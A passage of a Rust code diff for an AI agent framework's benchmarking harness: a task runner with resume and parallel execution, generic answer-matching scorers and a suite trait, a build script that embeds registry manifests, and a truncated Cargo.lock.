resume_run_id: Option<Uuid>,
) -> Result<Uuid, BenchError> {
let run_id = resume_run_id.unwrap_or_else(Uuid::new_v4);
let results_base = &self.config.results_dir;
let dir = run_dir(results_base, run_id);
std::fs::create_dir_all(&dir)?;
let jsonl_path = tasks_jsonl_path(results_base, run_id);
let json_path = run_json_path(results_base, run_id);
// Load completed task IDs for resume support
let completed: HashSet<String> = if resume_run_id.is_some() {
completed_task_ids(&jsonl_path)?
} else {
HashSet::new()
};
if !completed.is_empty() {
tracing::info!(
"Resuming run {}: {} tasks already completed",
run_id,
completed.len()
);
}
// Load all tasks once (used for both execution and scoring)
let all_tasks = self.suite.load_tasks().await?;
let task_index: HashMap<String, BenchTask> = all_tasks
.iter()
.map(|t| (t.id.clone(), t.clone()))
.collect();
// Filter tasks for execution
let mut tasks = all_tasks;
if let Some(ids) = task_filter {
let id_set: HashSet<&str> = ids.iter().map(|s| s.as_str()).collect();
tasks.retain(|t| id_set.contains(t.id.as_str()));
}
if let Some(tags) = tag_filter {
let tag_set: HashSet<&str> = tags.iter().map(|s| s.as_str()).collect();
tasks.retain(|t| t.tags.iter().any(|tag| tag_set.contains(tag.as_str())));
}
// Filter out already-completed tasks
tasks.retain(|t| !completed.contains(&t.id));
// Sample if requested
if let Some(n) = sample {
tasks.truncate(n);
}
let total_tasks = tasks.len() + completed.len();
let model_label = matrix.model.as_deref().unwrap_or(self.llm.model_name());
let commit_hash = git_short_hash();
tracing::info!(
"[{} @ {}] Running {} tasks for suite '{}' (run: {})",
model_label,
commit_hash,
tasks.len(),
self.suite.id(),
run_id
);
let started_at = Utc::now();
let all_results: Arc<Mutex<Vec<TaskResult>>> =
Arc::new(Mutex::new(Vec::with_capacity(tasks.len())));
if self.config.parallelism <= 1 {
// Sequential execution
let additional_tools = self.suite.additional_tools();
for (i, task) in tasks.iter().enumerate() {
tracing::info!(
"[{}/{}] Running task: {}",
i + 1 + completed.len(),
total_tasks,
task.id
);
if let Err(e) = self.suite.setup_task(task).await {
tracing::warn!("setup_task failed for {}: {}", task.id, e);
let result = make_error_result(
task,
self.suite.id(),
&matrix.label,
Utc::now(),
&format!("setup_task failed: {e}"),
);
append_task_result(&jsonl_path, &result)?;
all_results.lock().await.push(result);
continue;
}
let params = TaskRunParams {
task,
suite_id: self.suite.id(),
config_label: &matrix.label,
llm: Arc::clone(&self.llm),
safety: Arc::clone(&self.safety),
timeout: task.timeout.unwrap_or(self.config.task_timeout),
additional_tools: &additional_tools,
};
let result = run_task_isolated(params).await;
if let Err(e) = self.suite.teardown_task(task).await {
tracing::warn!("teardown_task failed for {}: {}", task.id, e);
}
append_task_result(&jsonl_path, &result)?;
all_results.lock().await.push(result);
}
} else {
// Parallel execution with bounded concurrency
let semaphore = Arc::new(tokio::sync::Semaphore::new(self.config.parallelism));
let shared_tools: Arc<[Arc<dyn ironclaw::tools::Tool>]> =
Arc::from(self.suite.additional_tools());
let mut handles = Vec::new();
for (i, task) in tasks.into_iter().enumerate() {
let sem = Arc::clone(&semaphore);
let suite = Arc::clone(&self.suite);
let config_label = matrix.label.clone();
let llm = Arc::clone(&self.llm);
let safety = Arc::clone(&self.safety);
let timeout = task.timeout.unwrap_or(self.config.task_timeout);
let results_ref = Arc::clone(&all_results);
let completed_count = completed.len();
let total = total_tasks;
let additional_tools = Arc::clone(&shared_tools);
handles.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => {
tracing::error!("Semaphore closed for task {}", task.id);
return;
}
};
tracing::info!(
"[{}/{}] Running task: {}",
i + 1 + completed_count,
total,
task.id
);
if let Err(e) = suite.setup_task(&task).await {
tracing::warn!("setup_task failed for {}: {}", task.id, e);
let result = make_error_result(
&task,
suite.id(),
&config_label,
Utc::now(),
&format!("setup_task failed: {e}"),
);
results_ref.lock().await.push(result);
return;
}
let suite_id = suite.id().to_string();
let params = TaskRunParams {
task: &task,
suite_id: &suite_id,
config_label: &config_label,
llm,
safety,
timeout,
additional_tools: &additional_tools,
};
let result = run_task_isolated(params).await;
if let Err(e) = suite.teardown_task(&task).await {
tracing::warn!("teardown_task failed for {}: {}", task.id, e);
}
results_ref.lock().await.push(result);
}));
}
for handle in handles {
if let Err(e) = handle.await {
tracing::error!("Task panicked: {}", e);
}
}
// Write all results to JSONL after parallel execution completes.
// This avoids the race condition of concurrent file appends.
let results = all_results.lock().await;
for result in results.iter() {
append_task_result(&jsonl_path, result)?;
}
}
// Score all results using the cached task index
let results = all_results.lock().await;
let mut scored: Vec<TaskResult> = Vec::with_capacity(results.len());
for result in results.iter() {
if let Some(task) = task_index.get(&result.task_id) {
let submission = TaskSubmission {
response: result.response.clone(),
conversation: vec![],
tool_calls: result
.trace
.tool_calls
.iter()
.map(|tc| tc.name.clone())
.collect(),
error: result.error.clone(),
};
match self.suite.score(task, &submission).await {
Ok(score) => {
let mut scored_result = result.clone();
scored_result.score = score;
scored.push(scored_result);
}
Err(e) => {
tracing::warn!("Scoring failed for {}: {}", result.task_id, e);
scored.push(result.clone());
}
}
} else {
scored.push(result.clone());
}
}
// Combine with any previously completed results for the aggregate
let mut all_for_aggregate = crate::results::read_task_results(&jsonl_path)?;
// De-duplicate (prefer the newer scored versions)
let scored_ids: HashSet<String> = scored.iter().map(|r| r.task_id.clone()).collect();
all_for_aggregate.retain(|r| !scored_ids.contains(&r.task_id));
all_for_aggregate.extend(scored);
// Rewrite JSONL with scored results so `results` command shows final scores
write_task_results(&jsonl_path, &all_for_aggregate)?;
let model_name = matrix.model.as_deref().unwrap_or(self.llm.model_name());
let run_result = RunResult::from_tasks(
run_id,
self.suite.id(),
&matrix.label,
model_name,
&commit_hash,
total_tasks,
&all_for_aggregate,
started_at,
);
write_run_result(&json_path, &run_result)?;
tracing::info!(
"[{} @ {}] Run {} complete: {:.1}% pass rate, {:.3} avg score, ${:.4} cost",
model_name,
commit_hash,
run_id,
run_result.pass_rate * 100.0,
run_result.avg_score,
run_result.total_cost_usd,
);
Ok(run_id)
}
}
/// Run a single benchmark task in complete isolation.
///
/// Creates a fresh Agent + BenchChannel + InstrumentedLlm for the task,
/// injects the prompt, waits for the response, and returns the result.
///
/// # Current limitations
///
/// - **Single-turn only**: After the first assistant response, `/quit` is sent.
/// Multi-turn suites (e.g., Tau-bench's `next_user_message()`) are not yet wired.
/// - **Resources not injected**: `BenchTask.resources` (e.g., GAIA file attachments)
/// are not included in the prompt or made available via the workspace.
/// - **Conversation not captured**: `TaskSubmission.conversation` is always empty,
/// which prevents multi-turn scoring hooks from working.
async fn run_task_isolated(params: TaskRunParams<'_>) -> TaskResult {
let TaskRunParams {
task,
suite_id,
config_label,
llm,
safety,
timeout,
additional_tools,
} = params;
let started_at = Utc::now();
let start = Instant::now();
// Wrap LLM with instrumentation
let instrumented = Arc::new(InstrumentedLlm::new(llm));
// Create bench channel
let (bench_channel, msg_tx) = BenchChannel::new();
let capture = bench_channel.capture();
// Build tool registry
let tools = Arc::new(ToolRegistry::new());
tools.register_builtin_tools();
// Register additional suite-specific tools
for tool in additional_tools {
tools.register(Arc::clone(tool)).await;
}
// Build agent config (minimal, headless)
let agent_config = AgentConfig {
name: format!("bench-{}", task.id),
max_parallel_jobs: 1,
job_timeout: timeout,
stuck_threshold: timeout,
repair_check_interval: timeout + std::time::Duration::from_secs(999),
max_repair_attempts: 0,
use_planning: false,
session_idle_timeout: timeout,
allow_local_tools: true,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
};
let cost_guard = Arc::new(ironclaw::agent::cost_guard::CostGuard::new(
ironclaw::agent::cost_guard::CostGuardConfig::default(),
));
let deps = AgentDeps {
store: None,
llm: instrumented.clone() as Arc<dyn LlmProvider>,
cheap_llm: None,
safety,
tools,
workspace: None,
extension_manager: None,
skill_registry: None,
skills_config: ironclaw::config::SkillsConfig::default(),
hooks: Arc::new(ironclaw::hooks::HookRegistry::new()),
cost_guard,
};
let mut channels = ChannelManager::new();
channels.add(Box::new(bench_channel));
let agent = Agent::new(agent_config, deps, channels, None, None, None, None);
// Build the full prompt with context
let full_prompt = if let Some(ref ctx) = task.context {
format!("{}\n\nContext:\n{}", task.prompt, ctx)
} else {
task.prompt.clone()
};
// Inject the task prompt
let incoming = IncomingMessage::new("bench", "bench-user", &full_prompt);
if msg_tx.send(incoming).await.is_err() {
return make_error_result(
task,
suite_id,
config_label,
started_at,
"failed to send prompt",
);
}
// Record prompt in conversation
{
let mut cap = capture.lock().await;
cap.conversation.push(ConversationTurn {
role: TurnRole::User,
content: full_prompt,
});
}
// Run agent with timeout.
// After the first response, send /quit to end the session.
let quit_tx = msg_tx.clone();
let capture_for_quit = Arc::clone(&capture);
let quit_handle = tokio::spawn(async move {
// Poll for first response
loop {
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
let cap = capture_for_quit.lock().await;
if !cap.responses.is_empty() {
break;
}
}
// Give a small grace period for any final status events
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
let quit = IncomingMessage::new("bench", "bench-user", "/quit");
let _ = quit_tx.send(quit).await;
});
let agent_result = tokio::time::timeout(timeout, agent.run()).await;
quit_handle.abort();
let wall_time = start.elapsed();
let hit_timeout = agent_result.is_err();
if let Ok(Err(e)) = &agent_result {
tracing::warn!("Agent error for task {}: {}", task.id, e);
}
// Extract results from capture
let cap = capture.lock().await;
let response = cap.responses.last().cloned().unwrap_or_default();
let trace = Trace {
wall_time_ms: wall_time.as_millis() as u64,
llm_calls: instrumented.call_count(),
input_tokens: instrumented.total_input_tokens(),
output_tokens: instrumented.total_output_tokens(),
estimated_cost_usd: instrumented.estimated_cost(),
tool_calls: cap.tool_calls.clone(),
turns: cap.responses.len() as u32,
hit_iteration_limit: false,
hit_timeout,
};
let error = if hit_timeout {
Some(format!("timeout after {}s", timeout.as_secs()))
} else if let Ok(Err(e)) = &agent_result {
Some(e.to_string())
} else {
None
};
TaskResult {
task_id: task.id.clone(),
suite_id: suite_id.to_string(),
score: crate::suite::BenchScore {
value: 0.0,
label: "pending".to_string(),
details: None,
},
trace,
response,
started_at,
finished_at: Utc::now(),
config_label: config_label.to_string(),
error,
}
}
fn make_error_result(
task: &BenchTask,
suite_id: &str,
config_label: &str,
started_at: chrono::DateTime<Utc>,
reason: &str,
) -> TaskResult {
TaskResult {
task_id: task.id.clone(),
suite_id: suite_id.to_string(),
score: crate::suite::BenchScore::fail(reason),
trace: Trace {
wall_time_ms: 0,
llm_calls: 0,
input_tokens: 0,
output_tokens: 0,
estimated_cost_usd: 0.0,
tool_calls: vec![],
turns: 0,
hit_iteration_limit: false,
hit_timeout: false,
},
response: String::new(),
started_at,
finished_at: Utc::now(),
config_label: config_label.to_string(),
error: Some(reason.to_string()),
}
}
/// Get the short git commit hash of HEAD, or "unknown" if not in a repo.
fn git_short_hash() -> String {
std::process::Command::new("git")
.args(["rev-parse", "--short", "HEAD"])
.output()
.ok()
.and_then(|o| {
if o.status.success() {
Some(String::from_utf8_lossy(&o.stdout).trim().to_string())
} else {
None
}
})
.unwrap_or_else(|| "unknown".to_string())
}
-113
View File
@@ -1,113 +0,0 @@
use regex::Regex;
use crate::suite::BenchScore;
/// Normalize an answer string for comparison: lowercase, trim whitespace,
/// strip trailing punctuation, collapse internal whitespace.
pub fn normalize_answer(s: &str) -> String {
let trimmed = s.trim().to_lowercase();
let collapsed: String = trimmed.split_whitespace().collect::<Vec<_>>().join(" ");
collapsed.trim_end_matches(['.', ',', ';', '!']).to_string()
}
/// Exact match after normalization.
pub fn exact_match(expected: &str, actual: &str) -> BenchScore {
let norm_expected = normalize_answer(expected);
let norm_actual = normalize_answer(actual);
if norm_expected == norm_actual {
BenchScore::pass()
} else {
BenchScore::fail(format!(
"expected \"{norm_expected}\", got \"{norm_actual}\""
))
}
}
/// Check if the actual answer contains the expected substring (normalized).
pub fn contains_match(expected_substring: &str, actual: &str) -> BenchScore {
let norm_expected = normalize_answer(expected_substring);
let norm_actual = normalize_answer(actual);
if norm_actual.contains(&norm_expected) {
BenchScore::pass()
} else {
BenchScore::fail(format!("response does not contain \"{norm_expected}\""))
}
}
/// Check if the actual answer matches a regex pattern.
pub fn regex_match(pattern: &str, actual: &str) -> BenchScore {
match Regex::new(pattern) {
Ok(re) => {
if re.is_match(actual) {
BenchScore::pass()
} else {
BenchScore::fail(format!("response does not match pattern /{pattern}/"))
}
}
Err(e) => BenchScore::fail(format!("invalid regex pattern: {e}")),
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_normalize_answer() {
assert_eq!(normalize_answer(" Hello World. "), "hello world");
assert_eq!(normalize_answer("Yes!"), "yes");
assert_eq!(normalize_answer("42"), "42");
assert_eq!(normalize_answer(" "), "");
}
#[test]
fn test_exact_match_pass() {
let score = exact_match("Hello World", " hello world. ");
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
}
#[test]
fn test_exact_match_fail() {
let score = exact_match("hello", "world");
assert_eq!(score.value, 0.0);
assert_eq!(score.label, "fail");
}
#[test]
fn test_contains_match_pass() {
let score = contains_match("world", "Hello World!");
assert_eq!(score.value, 1.0);
}
#[test]
fn test_contains_match_fail() {
let score = contains_match("xyz", "Hello World!");
assert_eq!(score.value, 0.0);
}
#[test]
fn test_regex_match_pass() {
let score = regex_match(r"\d{4}", "The year is 2024.");
assert_eq!(score.value, 1.0);
}
#[test]
fn test_regex_match_fail() {
let score = regex_match(r"\d{4}", "No numbers here.");
assert_eq!(score.value, 0.0);
}
#[test]
fn test_regex_match_invalid_pattern() {
let score = regex_match(r"[invalid", "anything");
assert_eq!(score.value, 0.0);
assert!(
score
.details
.as_deref()
.unwrap_or("")
.contains("invalid regex")
);
}
}
-154
View File
@@ -1,154 +0,0 @@
use std::sync::Arc;
use std::time::Duration;
use async_trait::async_trait;
use crate::error::BenchError;
/// A single task in a benchmark suite.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct BenchTask {
pub id: String,
pub prompt: String,
#[serde(default)]
pub context: Option<String>,
#[serde(default)]
pub resources: Vec<TaskResource>,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub expected_turns: Option<usize>,
#[serde(default)]
pub timeout: Option<Duration>,
#[serde(default)]
pub metadata: serde_json::Value,
}
/// A resource attached to a benchmark task (file, URL, etc.).
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TaskResource {
pub name: String,
pub path: String,
#[serde(default)]
pub resource_type: ResourceType,
}
#[derive(Debug, Clone, Default, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ResourceType {
#[default]
File,
Url,
Directory,
}
/// What the agent produced for scoring.
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct TaskSubmission {
pub response: String,
pub conversation: Vec<ConversationTurn>,
pub tool_calls: Vec<String>,
pub error: Option<String>,
}
/// A single turn in a multi-turn conversation.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct ConversationTurn {
pub role: TurnRole,
pub content: String,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum TurnRole {
User,
Assistant,
System,
}
/// Score for a single task.
#[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)]
pub struct BenchScore {
/// 0.0 to 1.0 (1.0 = perfect).
pub value: f64,
/// "pass" / "fail" / "partial".
pub label: String,
#[serde(default)]
pub details: Option<String>,
}
impl BenchScore {
pub fn pass() -> Self {
Self {
value: 1.0,
label: "pass".to_string(),
details: None,
}
}
pub fn fail(details: impl Into<String>) -> Self {
Self {
value: 0.0,
label: "fail".to_string(),
details: Some(details.into()),
}
}
pub fn partial(value: f64, details: impl Into<String>) -> Self {
Self {
value: value.clamp(0.0, 1.0),
label: "partial".to_string(),
details: Some(details.into()),
}
}
}
/// Trait for benchmark suite adapters.
///
/// Each suite (GAIA, Tau-bench, custom, etc.) implements this trait
/// to provide task loading, scoring, and optional lifecycle hooks.
#[async_trait]
#[allow(dead_code)]
pub trait BenchSuite: Send + Sync {
/// Human-readable name (e.g., "GAIA Validation").
fn name(&self) -> &str;
/// Machine ID (e.g., "gaia").
fn id(&self) -> &str;
/// Load all tasks from the suite's data source.
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError>;
/// Score the agent's submission against the expected answer.
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError>;
/// Optional: set up environment before running a task (clone repo, init DB, etc.).
async fn setup_task(&self, _task: &BenchTask) -> Result<(), BenchError> {
Ok(())
}
/// Optional: tear down environment after a task completes.
async fn teardown_task(&self, _task: &BenchTask) -> Result<(), BenchError> {
Ok(())
}
/// Optional: additional tools to register for this suite's tasks.
fn additional_tools(&self) -> Vec<Arc<dyn ironclaw::tools::Tool>> {
vec![]
}
/// Multi-turn: generate next simulated user message based on conversation so far.
/// Return `None` to end the conversation.
async fn next_user_message(
&self,
_task: &BenchTask,
_conversation: &[ConversationTurn],
) -> Result<Option<String>, BenchError> {
Ok(None)
}
}
+92 -1
View File
@@ -10,12 +10,17 @@
//! Prerequisites: rustup target add wasm32-wasip2, cargo install wasm-tools
use std::env;
use std::path::PathBuf;
use std::path::{Path, PathBuf};
use std::process::Command;
fn main() {
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
let root = PathBuf::from(&manifest_dir);
// ── Embed registry manifests ────────────────────────────────────────
embed_registry_catalog(&root);
// ── Build Telegram channel WASM ─────────────────────────────────────
let channel_dir = root.join("channels-src/telegram");
let wasm_out = channel_dir.join("telegram.wasm");
@@ -104,3 +109,89 @@ fn main() {
}
}
}
/// Collect all registry manifests into a single JSON blob at compile time.
///
/// Output: `$OUT_DIR/embedded_catalog.json` with structure:
/// ```json
/// { "tools": [...], "channels": [...], "bundles": {...} }
/// ```
fn embed_registry_catalog(root: &Path) {
use std::fs;
let registry_dir = root.join("registry");
// Rerun if the bundles file changes (per-file watches for tools/channels
// are emitted inside collect_json_files to track content changes reliably).
println!("cargo:rerun-if-changed=registry/_bundles.json");
let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
let out_path = out_dir.join("embedded_catalog.json");
if !registry_dir.is_dir() {
// No registry dir: write empty catalog
fs::write(
&out_path,
r#"{"tools":[],"channels":[],"bundles":{"bundles":{}}}"#,
)
.unwrap();
return;
}
let mut tools = Vec::new();
let mut channels = Vec::new();
// Collect tool manifests
let tools_dir = registry_dir.join("tools");
if tools_dir.is_dir() {
collect_json_files(&tools_dir, &mut tools);
}
// Collect channel manifests
let channels_dir = registry_dir.join("channels");
if channels_dir.is_dir() {
collect_json_files(&channels_dir, &mut channels);
}
// Read bundles
let bundles_path = registry_dir.join("_bundles.json");
let bundles_raw = if bundles_path.is_file() {
fs::read_to_string(&bundles_path).unwrap_or_else(|_| r#"{"bundles":{}}"#.to_string())
} else {
r#"{"bundles":{}}"#.to_string()
};
// Build the combined JSON
let catalog = format!(
r#"{{"tools":[{}],"channels":[{}],"bundles":{}}}"#,
tools.join(","),
channels.join(","),
bundles_raw,
);
fs::write(&out_path, catalog).unwrap();
}
/// Read all .json files from a directory and push their raw contents into `out`.
fn collect_json_files(dir: &Path, out: &mut Vec<String>) {
use std::fs;
let mut entries: Vec<_> = fs::read_dir(dir)
.unwrap()
.filter_map(|e| e.ok())
.filter(|e| {
e.path().is_file() && e.path().extension().and_then(|x| x.to_str()) == Some("json")
})
.collect();
// Sort for deterministic output
entries.sort_by_key(|e| e.file_name());
for entry in entries {
// Emit per-file watch so Cargo reruns when file contents change
println!("cargo:rerun-if-changed={}", entry.path().display());
if let Ok(content) = fs::read_to_string(entry.path()) {
out.push(content);
}
}
}
+401
View File
@@ -0,0 +1,401 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "ahash"
version = "0.8.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
dependencies = [
"cfg-if",
"once_cell",
"version_check",
"zerocopy",
]
[[package]]
name = "anyhow"
version = "1.0.102"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c"
[[package]]
name = "bitflags"
version = "2.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af"
[[package]]
name = "cfg-if"
version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "discord-channel"
version = "0.1.0"
dependencies = [
"serde",
"serde_json",
"wit-bindgen",
]
[[package]]
name = "equivalent"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
[[package]]
name = "hashbrown"
version = "0.14.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
dependencies = [
"ahash",
]
[[package]]
name = "hashbrown"
version = "0.16.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100"
[[package]]
name = "heck"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
[[package]]
name = "id-arena"
version = "2.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
[[package]]
name = "indexmap"
version = "2.13.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017"
dependencies = [
"equivalent",
"hashbrown 0.16.1",
"serde",
"serde_core",
]
[[package]]
name = "itoa"
version = "1.0.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
[[package]]
name = "leb128"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67"
[[package]]
name = "log"
version = "0.4.29"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
[[package]]
name = "memchr"
version = "2.8.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79"
[[package]]
name = "once_cell"
version = "1.21.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
[[package]]
name = "prettyplease"
version = "0.2.37"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b"
dependencies = [
"proc-macro2",
"syn",
]
[[package]]
name = "proc-macro2"
version = "1.0.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.44"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4"
dependencies = [
"proc-macro2",
]
[[package]]
name = "semver"
version = "1.0.27"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2"
[[package]]
name = "serde"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
dependencies = [
"serde_core",
"serde_derive",
]
[[package]]
name = "serde_core"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "serde_json"
version = "1.0.149"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
dependencies = [
"itoa",
"memchr",
"serde",
"serde_core",
"zmij",
]
[[package]]
name = "smallvec"
version = "1.15.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
[[package]]
name = "spdx"
version = "0.10.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c3e17e880bafaeb362a7b751ec46bdc5b61445a188f80e0606e68167cd540fa3"
dependencies = [
"smallvec",
]
[[package]]
name = "syn"
version = "2.0.117"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
[[package]]
name = "unicode-xid"
version = "0.2.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
[[package]]
name = "version_check"
version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
[[package]]
name = "wasm-encoder"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e913f9242315ca39eff82aee0e19ee7a372155717ff0eb082c741e435ce25ed1"
dependencies = [
"leb128",
"wasmparser",
]
[[package]]
name = "wasm-metadata"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "185dfcd27fa5db2e6a23906b54c28199935f71d9a27a1a27b3a88d6fee2afae7"
dependencies = [
"anyhow",
"indexmap",
"serde",
"serde_derive",
"serde_json",
"spdx",
"wasm-encoder",
"wasmparser",
]
[[package]]
name = "wasmparser"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8d07b6a3b550fefa1a914b6d54fc175dd11c3392da11eee604e6ffc759805d25"
dependencies = [
"ahash",
"bitflags",
"hashbrown 0.14.5",
"indexmap",
"semver",
]
[[package]]
name = "wit-bindgen"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a2b3e15cd6068f233926e7d8c7c588b2ec4fb7cc7bf3824115e7c7e2a8485a3"
dependencies = [
"wit-bindgen-rt",
"wit-bindgen-rust-macro",
]
[[package]]
name = "wit-bindgen-core"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b632a5a0fa2409489bd49c9e6d99fcc61bb3d4ce9d1907d44662e75a28c71172"
dependencies = [
"anyhow",
"heck",
"wit-parser",
]
[[package]]
name = "wit-bindgen-rt"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7947d0131c7c9da3f01dfde0ab8bd4c4cf3c5bd49b6dba0ae640f1fa752572ea"
dependencies = [
"bitflags",
]
[[package]]
name = "wit-bindgen-rust"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4329de4186ee30e2ef30a0533f9b3c123c019a237a7c82d692807bf1b3ee2697"
dependencies = [
"anyhow",
"heck",
"indexmap",
"prettyplease",
"syn",
"wasm-metadata",
"wit-bindgen-core",
"wit-component",
]
[[package]]
name = "wit-bindgen-rust-macro"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "177fb7ee1484d113b4792cc480b1ba57664bbc951b42a4beebe573502135b1fc"
dependencies = [
"anyhow",
"prettyplease",
"proc-macro2",
"quote",
"syn",
"wit-bindgen-core",
"wit-bindgen-rust",
]
[[package]]
name = "wit-component"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b505603761ed400c90ed30261f44a768317348e49f1864e82ecdc3b2744e5627"
dependencies = [
"anyhow",
"bitflags",
"indexmap",
"log",
"serde",
"serde_derive",
"serde_json",
"wasm-encoder",
"wasm-metadata",
"wasmparser",
"wit-parser",
]
[[package]]
name = "wit-parser"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae2a7999ed18efe59be8de2db9cb2b7f84d88b27818c79353dfc53131840fe1a"
dependencies = [
"anyhow",
"id-arena",
"indexmap",
"log",
"semver",
"serde",
"serde_derive",
"serde_json",
"unicode-xid",
"wasmparser",
]
[[package]]
name = "zerocopy"
version = "0.8.39"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "db6d35d663eadb6c932438e763b262fe1a70987f9ae936e60158176d710cae4a"
dependencies = [
"zerocopy-derive",
]
[[package]]
name = "zerocopy-derive"
version = "0.8.39"
source = "registry+https://github.com/rust-lang/crates.io-index"
